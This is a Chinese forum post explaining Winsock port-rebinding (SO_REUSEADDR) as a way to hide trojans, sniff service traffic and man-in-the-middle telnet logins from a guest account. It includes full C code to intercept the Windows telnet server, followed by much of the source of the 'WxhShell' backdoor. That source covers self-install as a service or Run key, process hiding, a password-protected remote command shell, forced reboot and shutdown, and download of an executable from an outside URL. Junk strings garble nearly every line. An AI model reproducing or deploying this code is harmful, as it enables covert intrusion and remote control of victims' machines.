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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: El.hu%#n*G  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); PIu1+k.r?  
yku5SEJ\  
  saddr.sin_family = AF_INET; 0 q} *S~  
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  saddr.sin_addr.s_addr = htonl(INADDR_ANY); $~VRza 8Q  
JtEo'As:[  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 1IC~e^"  
fI{&#~f4C  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 [5G6VNh=  
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  这意味着什么?意味着可以进行如下的攻击: .1KhBgy^K  
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  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 oSy yd  
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  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ADDSCY=,  
++6`sMJ  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 pEBM3r!X  
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  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  i;/5Y'KZ  
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  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 f&BY/ n,  
Fl kcU `j  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 9 7GV2]-M  
]P.'>4  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 :=u?Fqqws  
xe{ !wX  
  #include 6-z%633DL  
  #include xTj|dza  
  #include _ba>19csq%  
  #include    #gz M|  
  DWORD WINAPI ClientThread(LPVOID lpParam);   9$cWU_q{  
  int main() [@J/eWB  
  { X-6de>=   
  WORD wVersionRequested; F Sw\_[^CQ  
  DWORD ret; ok!L.ac  
  WSADATA wsaData; [fAV5U  
  BOOL val; GFeQ%l`7F  
  SOCKADDR_IN saddr; :~2vJzp@?  
  SOCKADDR_IN scaddr; 2%LL Sa  
  int err; YB(Q\hT~\;  
  SOCKET s; ; <&*rnH  
  SOCKET sc; ar__ Pf6r  
  int caddsize; JmxH"7hTE  
  HANDLE mt; j(m.$:  
  DWORD tid;   9^oKtkoDZ  
  wVersionRequested = MAKEWORD( 2, 2 ); <0b)YJb4M  
  err = WSAStartup( wVersionRequested, &wsaData ); c~z82iXNO  
  if ( err != 0 ) { kW;+|qs^  
  printf("error!WSAStartup failed!\n"); #Y*X<L  
  return -1; llcb~  
  } ,{M^-3C  
  saddr.sin_family = AF_INET; )'l:K.F  
   j[`j9mM8  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 /N=b\-]  
 6:b! F  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); qTdheX/  
  saddr.sin_port = htons(23); TE3lK(f  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) K^1oDP  
  { 5gYRwuf  
  printf("error!socket failed!\n"); &e E=<x  
  return -1; rp3V3]EE  
  } 0 ?s|i :  
  val = TRUE; r[|Xy>Zj  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ',9V|jvK  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) gG0!C))8  
  { BXtCSfY $  
  printf("error!setsockopt failed!\n"); 3{'Ne}5%I  
  return -1; 5rw 7;'  
  } dP3CG8w5  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; '(U-(wTC'/  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 |iakz|])  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 _K]_ @Ivh  
|2O]R s  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) .+PI}[g  
  { u+Y\6~=+  
  ret=GetLastError(); z* ^_)Z  
  printf("error!bind failed!\n"); tr<Nm6!  
  return -1; Hx"ob_^'7  
  } Q-_N2W ?  
  listen(s,2); CAfGH!l!  
  while(1) Sc\*W0m  
  { u(@$a4z  
  caddsize = sizeof(scaddr); $ `ov4W  
  //接受连接请求 zd2)M@  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); pmuvg6@h  
  if(sc!=INVALID_SOCKET) ~ksi</s  
  { 6n,i0W  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); |:nn>E}ZA/  
  if(mt==NULL) ff]6aR/ UQ  
  { Vr]id  
  printf("Thread Creat Failed!\n"); 5eLtCsHz  
  break; q ?|,O;?  
  } K'L^;z6  
  } r+A{JHnN  
  CloseHandle(mt); KI)M JG:t  
  } ;O,+2VzP%^  
  closesocket(s); Fq0i`~L~  
  WSACleanup(); dMh:ulIY>  
  return 0; }tRm]w  
  }   2L3)#22m*  
  DWORD WINAPI ClientThread(LPVOID lpParam) J?V?R  
  { ``,fodA8  
  SOCKET ss = (SOCKET)lpParam; r(:5kC8K  
  SOCKET sc; wo4;n9@I  
  unsigned char buf[4096]; A 9( x  
  SOCKADDR_IN saddr; 3x`|  
  long num; * aN  
  DWORD val; ,k24w7K%d  
  DWORD ret; YN/|$sMD|  
  //如果是隐藏端口应用的话,可以在此处加一些判断 &Y!-%{e  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ?M8dP%&r  
  saddr.sin_family = AF_INET; U>YAdrx2a  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); "Lzi+1  
  saddr.sin_port = htons(23); ^H~h\,;zQ  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) p*< 0"0  
  { 9Vg?{v!yn  
  printf("error!socket failed!\n"); ;y,5k?  
  return -1; I@T8Iv=  
  } *w|:~g  
  val = 100; SEo'(-5  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) =O&%c%~q  
  { $mu^G t  
  ret = GetLastError(); HHA<IZ#;,  
  return -1; 52%2R]G!  
  } vmU@^2JSJ  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) vx1c,8  
  { '.on)Zd.  
  ret = GetLastError(); dzARI`  
  return -1; B-xGX$<z  
  } p, h9D_  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) /kE6@  
  { %aHB"vi6  
  printf("error!socket connect failed!\n"); 2y//'3[  
  closesocket(sc); Bc(Y(X$PK  
  closesocket(ss); 0]'7_vDs|  
  return -1; \.0^n3y  
  } WYHQ?  
  while(1) X.OD`.!>  
  { q8FTi^=Kb  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ? E1<!~  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 7S-ys+  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 MDnKX?Y  
  num = recv(ss,buf,4096,0); G/k2Pe{SL  
  if(num>0) vleS2-]|  
  send(sc,buf,num,0); XeW<B0~  
  else if(num==0) 6g2a[6G5  
  break; S'k_olx7  
  num = recv(sc,buf,4096,0); I& 2c&yO  
  if(num>0) H['N  
  send(ss,buf,num,0); Vy6qbC-Kt  
  else if(num==0) wrc,b{{[iM  
  break; _G[g;$ <  
  } i5en*)O8  
  closesocket(ss); oQLq&zRH`f  
  closesocket(sc); x u>9(,l  
  return 0 ; V_R@o3kv;  
  } xR-%L  
F0pir(n-  
hcgMZT!<5  
========================================================== 35A|BD) q  
?8I?'\F;  
下边附上一个代码,,WXhSHELL zkt+7,vI  
8LyD7P 1\  
========================================================== R] vV*  
cm&nd'A't  
#include "stdafx.h" ; ^*}#X d  
y0{u<"t%w  
#include <stdio.h> &T+atL`N  
#include <string.h> %D UH@j  
#include <windows.h> F5LuSy+v  
#include <winsock2.h> l>2E (Y|  
#include <winsvc.h> {'N Z.  
#include <urlmon.h> ls_'')yp  
cL-[ZvyVX  
#pragma comment (lib, "Ws2_32.lib") BHIRH mM<Y  
#pragma comment (lib, "urlmon.lib") Lco~,OE  
(lXGmx8  
#define MAX_USER   100 // 最大客户端连接数 TCN8a/@z  
#define BUF_SOCK   200 // sock buffer SAH-p*.  
#define KEY_BUFF   255 // 输入 buffer c-x,fS"&W  
ZXu>,Jy  
#define REBOOT     0   // 重启 e|NG"<  
#define SHUTDOWN   1   // 关机 %d 1,a$*3}  
tnV/xk#!  
#define DEF_PORT   5000 // 监听端口 Bgn&:T8<  
,MdV;j ~"'  
#define REG_LEN     16   // 注册表键长度 m.JBOq=  
#define SVC_LEN     80   // NT服务名长度 LSm$dK  
\<&m&%Zs  
// 从dll定义API hjU::m,WX  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); [8P:?nDDL  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); }v@dL3{f  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); T]R|qlZ  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ySk R>y  
sz5MH!/PJ  
// wxhshell配置信息 QMA%$  
struct WSCFG { %"kPvI3Y  
  int ws_port;         // 监听端口 bH-ub2@qO  
  char ws_passstr[REG_LEN]; // 口令 P#E&|n7DT  
  int ws_autoins;       // 安装标记, 1=yes 0=no 9"@\s$ OBk  
  char ws_regname[REG_LEN]; // 注册表键名 q YC;cKv  
  char ws_svcname[REG_LEN]; // 服务名 6}Vf\j~  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 9 3U_tQ&1?  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 nxY\|@  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 A|CmlAW~^  
int ws_downexe;       // 下载执行标记, 1=yes 0=no *]. 7dec/  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" %OtFHhb  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Bp*K]3_  
6~0$Z-);(  
}; Z_PNI#h*  
0v6)t.]s  
// default Wxhshell configuration [=x[ w70  
struct WSCFG wscfg={DEF_PORT, \(~y?l  
    "xuhuanlingzhe", v:EB*3n5  
    1, ]O Z5 fd  
    "Wxhshell", *w$W2I>b7  
    "Wxhshell", O1rvaOlr  
            "WxhShell Service", NWP5If|'X  
    "Wrsky Windows CmdShell Service", LnFdhrB@x  
    "Please Input Your Password: ", 7WZrSC  
  1, ,ZKr .`B  
  "http://www.wrsky.com/wxhshell.exe", LZ\q3 7UV  
  "Wxhshell.exe" }xKP~h'F  
    }; +cWLjPD/}  
PvR6 z0  
// 消息定义模块 `0rd26Qro  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; }Dp*}=?E  
char *msg_ws_prompt="\n\r? for help\n\r#>"; =AsEZ)" _  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; /;{P}-H`ei  
char *msg_ws_ext="\n\rExit."; l+ 3[ KCE  
char *msg_ws_end="\n\rQuit."; *xc_k"\  
char *msg_ws_boot="\n\rReboot..."; 8{Q<N%Jnu  
char *msg_ws_poff="\n\rShutdown..."; E^Y#&skXp3  
char *msg_ws_down="\n\rSave to "; IWBX'|}K  
> pgX^  
char *msg_ws_err="\n\rErr!"; jy7\+i  
char *msg_ws_ok="\n\rOK!"; A_n7w  
pEw"8U  
char ExeFile[MAX_PATH]; !y#"l$"xK  
int nUser = 0; < 3(LWxw  
HANDLE handles[MAX_USER]; uvgdY  
int OsIsNt; []x#iOnC&  
oYHj~t  
SERVICE_STATUS       serviceStatus; XoXM ^*Vk  
SERVICE_STATUS_HANDLE   hServiceStatusHandle;  ,t}vz 7  
-_ I _W&  
// 函数声明 -)s qc P  
int Install(void); KTK <gV9:  
int Uninstall(void); J%8(kWQ|  
int DownloadFile(char *sURL, SOCKET wsh); Us%T;gW  
int Boot(int flag); o-;E>N7t  
void HideProc(void); K7$x<5+)  
int GetOsVer(void); yZd +^QN  
int Wxhshell(SOCKET wsl); zFfoqb#*g  
void TalkWithClient(void *cs); R= a|Blp  
int CmdShell(SOCKET sock); =6xrfDbN8  
int StartFromService(void); O[# 27_dH  
int StartWxhshell(LPSTR lpCmdLine); 1h(0IjG8  
3E7ULK  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); D@C-5rmq  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); X"MB|N y  
fz;iOjr>  
// 数据结构和表定义 >82@Q^O  
SERVICE_TABLE_ENTRY DispatchTable[] = YgKZ#?*  
{ YX%[ipgB  
{wscfg.ws_svcname, NTServiceMain}, mrTlXXz  
{NULL, NULL} A+HF@Uw}^  
}; \ Fl+\?~D  
h"lX 4  
// 自我安装 $GYm6x\4  
int Install(void) u,F nAh?"  
{ !P ~_Dl2d  
  char svExeFile[MAX_PATH]; >O1[:%Z1  
  HKEY key; g$n7CXoT  
  strcpy(svExeFile,ExeFile); I6~pV@h^=  
2<li7c59  
// 如果是win9x系统,修改注册表设为自启动 @HT% n  
if(!OsIsNt) { aF8fqu\  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { jNu9KlN  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Yj%U >),8  
  RegCloseKey(key); z MLK7+  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 'AzDP;6qFI  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Y_}mYvJW  
  RegCloseKey(key); KN$}tCU  
  return 0; `/_o!(Z`  
    } )S`jFQ1  
  } ktI/3Mb@  
} ^L0d/,ik  
else { )i q-yjO6  
X7[^s $VK  
// 如果是NT以上系统,安装为系统服务 YNYx>Ue  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); og4UhP^UET  
if (schSCManager!=0) 5>VY LI  
{ dG@"!!,  
  SC_HANDLE schService = CreateService p/(~IC "!J  
  ( ()tp>  
  schSCManager, u?>B)PW  
  wscfg.ws_svcname, DQMHOd7g  
  wscfg.ws_svcdisp, cQG +$0(  
  SERVICE_ALL_ACCESS, Xm+8  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 'iy*^A `Y  
  SERVICE_AUTO_START, Nb?w|Ne(T  
  SERVICE_ERROR_NORMAL, @vpf[j  
  svExeFile, HfcL%b%G8  
  NULL, _C.BFE _p  
  NULL, ^Y<|F!0  
  NULL, qe#P?[  
  NULL, u7bLZU 0  
  NULL !)  S ?m  
  ); ~n[d4qV&  
  if (schService!=0) CQZgMY1{  
  { 0_k '.5l%  
  CloseServiceHandle(schService); &GNxo$CG  
  CloseServiceHandle(schSCManager); "dsU>3u  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); } $uxJB  
  strcat(svExeFile,wscfg.ws_svcname); Mb"J@5P[4  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Wf>zDW^"R  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); : k7uGD  
  RegCloseKey(key); 6`!Fv-  
  return 0; ^BUYjq%(`  
    } c;{Q,"9U  
  } \2nUa ;  
  CloseServiceHandle(schSCManager); Q F-LU  
} UUF ;p2{f  
} 3VI4X  
Q s.pGi0W  
return 1; pX/n)q[  
} zR `EU,  
@lCJ G!u  
// 自我卸载 7~&/_3  
int Uninstall(void) !l_lo`)  
{ Ad:TYpLD  
  HKEY key; .U"8mP=&  
7~9S 9  
if(!OsIsNt) { I96C i2)m  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { !h(|\" }  
  RegDeleteValue(key,wscfg.ws_regname); \(VTt|}By$  
  RegCloseKey(key); I6j$X6u  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ,QC{3i~  
  RegDeleteValue(key,wscfg.ws_regname); ^F2b hXE  
  RegCloseKey(key); 3k|oK'l  
  return 0; cUqke+!  
  } :gerQz4R8  
} o[v\|Q`d  
} Z-8Yd6 4  
else { ? 9! Z<H  
IGS1|  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); rm4.aO~-F  
if (schSCManager!=0) wUiys/ OVM  
{ 3l[Mc Z  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Au{<hQ =  
  if (schService!=0) ^M%uV  
  { %@;6^=  
  if(DeleteService(schService)!=0) { 0`)iIz  
  CloseServiceHandle(schService); @S|jC2^+h  
  CloseServiceHandle(schSCManager); I#m-g-J  
  return 0; Y7#-Fra0W  
  } WX}xmtLs  
  CloseServiceHandle(schService); i:rFQ8 I  
  } )'/|)  
  CloseServiceHandle(schSCManager); umF Z?a  
} \\{J'j>{f  
} @ U kr  
O=v#{ [  
return 1; -od!J\ KCy  
} fbWFLS m;  
L f"i !  
// 从指定url下载文件 c~{9a_G  
int DownloadFile(char *sURL, SOCKET wsh) @[#$J0q q  
{ s <   
  HRESULT hr; AX?fuDLs  
char seps[]= "/"; ysmNio  
char *token; ?pYKZg /c  
char *file; U7!.,kR-  
char myURL[MAX_PATH]; } X^|$  
char myFILE[MAX_PATH]; %{(x3\ *&  
hX`hs- *qM  
strcpy(myURL,sURL); o;W`4S^  
  token=strtok(myURL,seps); \Y|~2Ls8tu  
  while(token!=NULL) 'eo KZX+  
  { i<H wTmm$  
    file=token; B=>RH!&  
  token=strtok(NULL,seps); Q:|l`*.R  
  } Z|_K6v/c  
GwG4LIp  
GetCurrentDirectory(MAX_PATH,myFILE); '"?C4mbSl  
strcat(myFILE, "\\"); '"<6.,Ae  
strcat(myFILE, file); =Zu^80/  
  send(wsh,myFILE,strlen(myFILE),0); aFe`_cnG  
send(wsh,"...",3,0); %1.]c6U  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); \A#1y\ok  
  if(hr==S_OK) ZDD..j  
return 0; 5DXR8mLoaJ  
else VtzI9CD  
return 1; 1"pI^Ddt  
|\n@3cIK  
} sf OHl  
 ] GHt"  
// 系统电源模块 [/ !;_b\X  
int Boot(int flag) UPc<gB  
{ 6`0mta Q  
  HANDLE hToken; j4>a(  
  TOKEN_PRIVILEGES tkp; 2$14q$eb  
zaFt*~@X  
  if(OsIsNt) { sp7*_&'J  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); %&->%U|'  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); L lw&& K  
    tkp.PrivilegeCount = 1; %/c+`Wd/l$  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ,h{A^[yl  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); {&P FXJ  
if(flag==REBOOT) { ?Zc"C  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Rx*BwZ  
  return 0; `%E8-]{uS  
} >_c5r?]SG  
else { P+!"wX0*N  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) i]=&  
  return 0; EyI}{6~F  
} 4-kZJ\]  
  } `} m Q  
  else { v?0r`<Mn  
if(flag==REBOOT) { &-czStQ  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) [U@ *1  
  return 0; "+z?x~rk  
} K]qM~v<A  
else { R64!>o"nED  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) T;diNfgg  
  return 0; s-Aw<Q)d  
} /wxE1][.  
} hY*0aZ|(  
&n[~!%(  
return 1; i\4hR?  
} Cv>o.Bp|  
iweD @b  
// win9x进程隐藏模块 .fi/I  
void HideProc(void) CvPioi  
{ ( 7ws{)  
:qR=>n=  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ]Ni;w]KE  
  if ( hKernel != NULL ) `/"nTB  
  { jYVE8Y)my  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); iJv48#'ii  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); xrqv@/kJ  
    FreeLibrary(hKernel); jSOS}!=  
  } IcrL   
D?~8za`5  
return; lJzl6&  
} tM,%^){p$  
{/ LZcz[  
// 获取操作系统版本 WKr X,GF  
int GetOsVer(void) O1D6^3w  
{ h 6%[q x<  
  OSVERSIONINFO winfo; K7e4_ZGI  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Y7GF$}%UL  
  GetVersionEx(&winfo); tp:\j@dB  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Um)>2|rp}  
  return 1; `e]6#iJ^  
  else 7l."b$U4yv  
  return 0; !ph" mf$-  
} li] 6Pj,  
=39 ?:VoD  
// 客户端句柄模块 EQIUSh)M  
int Wxhshell(SOCKET wsl) `p0ypi3hn  
{ A])P1c. 7"  
  SOCKET wsh; KECElK3uj  
  struct sockaddr_in client; x1gx$P  
  DWORD myID; 6*nAo8gl  
HPQ/~0$  
  while(nUser<MAX_USER) %d m-?`  
{ 1|ZhPsD.}g  
  int nSize=sizeof(client); ++}\v9Er  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); GIftrYr  
  if(wsh==INVALID_SOCKET) return 1; *U=]@I}J  
{ub/3Uh  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); :%JC^dV(  
if(handles[nUser]==0) F52B~@ .  
  closesocket(wsh); _Mc>W0'5@  
else C}?0`!Cc%  
  nUser++; _P,^_%}V06  
  } NQ|xM"MqD  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); +'#oz+  
b[@V Ya  
  return 0; |<`.fOxJP  
} Aaw(Ed  
bm}6{28R  
// 关闭 socket `7+j0kV)  
void CloseIt(SOCKET wsh) 9 L?;FY)_  
{ %8)W0WMe  
closesocket(wsh); Qn:kz*:  
nUser--; 0_yP\m  
ExitThread(0); XM|%^ry  
} i3mAfDF  
2UP,Tgn..  
// 客户端请求句柄 /^#G0f*N  
void TalkWithClient(void *cs) |%D%0TR&Q  
{ HFo-4"  
O'NW Ebl/  
  SOCKET wsh=(SOCKET)cs; c 5`US  
  char pwd[SVC_LEN]; 68R1AqU_  
  char cmd[KEY_BUFF]; ~V)?>)T  
char chr[1]; ~S; Z\  
int i,j; % *z-PT22  
9l+{OA  
  while (nUser < MAX_USER) { 8cm@a*2%  
jU=<r  
if(wscfg.ws_passstr) { WxGSv#u  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); *s)}Bj  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Eff\Aq{  
  //ZeroMemory(pwd,KEY_BUFF); F6S~$<  
      i=0; 4B-yTyO  
  while(i<SVC_LEN) { r;iV$Rq !  
nhdTTap&9  
  // 设置超时 0O2n/`'  
  fd_set FdRead; sI 4yG  
  struct timeval TimeOut; uD>z@J-v  
  FD_ZERO(&FdRead); Az,- Cq  
  FD_SET(wsh,&FdRead); MZ#T^Y  
  TimeOut.tv_sec=8; .dq "k  
  TimeOut.tv_usec=0; N<JHjq  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); vz`@x45K  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 59B&2861  
tkuc/Z/@  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Xt,X_o2m|]  
  pwd=chr[0]; )u@c3?$6  
  if(chr[0]==0xd || chr[0]==0xa) { MonS hIz  
  pwd=0; I__4I{nI  
  break; ])y{BlZ  
  } zW4 O4b$T  
  i++; ]UNZd/hIL  
    } [cU,!={  
aW{L7N%  
  // 如果是非法用户,关闭 socket EZ#gp^$  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 8&}~'4[b[$  
} xRDiRj  
3vJ12=  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); d*;$AYI#R  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); fk5XvL  
. %(^mK)zQ  
while(1) { <9@7,2  
S2=%x.  
  ZeroMemory(cmd,KEY_BUFF); 0^_MN~s(X  
h8^i\j  
      // 自动支持客户端 telnet标准   BSXdvI1y  
  j=0; +lp{#1q0  
  while(j<KEY_BUFF) { 9Z!lmfnJ  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ^Gz{6@TY5  
  cmd[j]=chr[0]; &v# `t~  
  if(chr[0]==0xa || chr[0]==0xd) { )&Z>@S^  
  cmd[j]=0; K&pM o.  
  break; dc^Vc{26Z  
  } }. %s xw  
  j++; 9NIy#  
    } & 5 <**  
rFXSO=P?Z  
  // 下载文件 {-*\w-~G  
  if(strstr(cmd,"http://")) { W\ULUK  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); IUhp;iH  
  if(DownloadFile(cmd,wsh)) (iDBhC;/B  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); G8NRj9k?  
  else 6 S*zzJ.0K  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); zW'/2W.  
  } 4DML  
  else { z Bf;fi  
[V< 1_zqt  
    switch(cmd[0]) { ~%aJFs  
  H2\1gNL  
  // 帮助 7,_-XV2  
  case '?': { \j:gr>4  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); E\e]K !  
    break; =jIxI,  
  } _'*DT=H'U  
  // 安装 wr@GN8e`  
  case 'i': { b:x7)$(  
    if(Install()) }|He?[TR  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); >Pkdu}xP3  
    else ku3D?D:V  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 5!:._TcO  
    break; u&3EPu  
    } YeIe\3x!N  
  // 卸载 ]N\6h(**wy  
  case 'r': { Qg>L,ZO  
    if(Uninstall()) cHn;}l!I  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _[$# b]V  
    else 'oi2Seq  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); M'|)dM|  
    break; T#e4": A&x  
    } q}Rlo/R  
  // 显示 wxhshell 所在路径 ~|=rwDBZ8l  
  case 'p': { n8FT<pUq  
    char svExeFile[MAX_PATH]; jlRS:$|R0  
    strcpy(svExeFile,"\n\r"); GEi MmH?  
      strcat(svExeFile,ExeFile); vU9~[I`^p  
        send(wsh,svExeFile,strlen(svExeFile),0); }wkaQQh  
    break; -,@bA @&  
    } (1y='L2rj  
  // 重启 p5qx=p~c  
  case 'b': { le2/Zs$  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); v|y<_Ya  
    if(Boot(REBOOT)) T+BIy|O  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ![q }BU4  
    else { @fDQ^ 4  
    closesocket(wsh); NV(fN-L  
    ExitThread(0); R8{e&n PE  
    } JB'qiuhab  
    break; <"NyC?b+G  
    } _s@bz|yqw  
  // 关机 (l;C%O7*  
  case 'd': { 09x+Tko9;*  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); \vs%U}IrO  
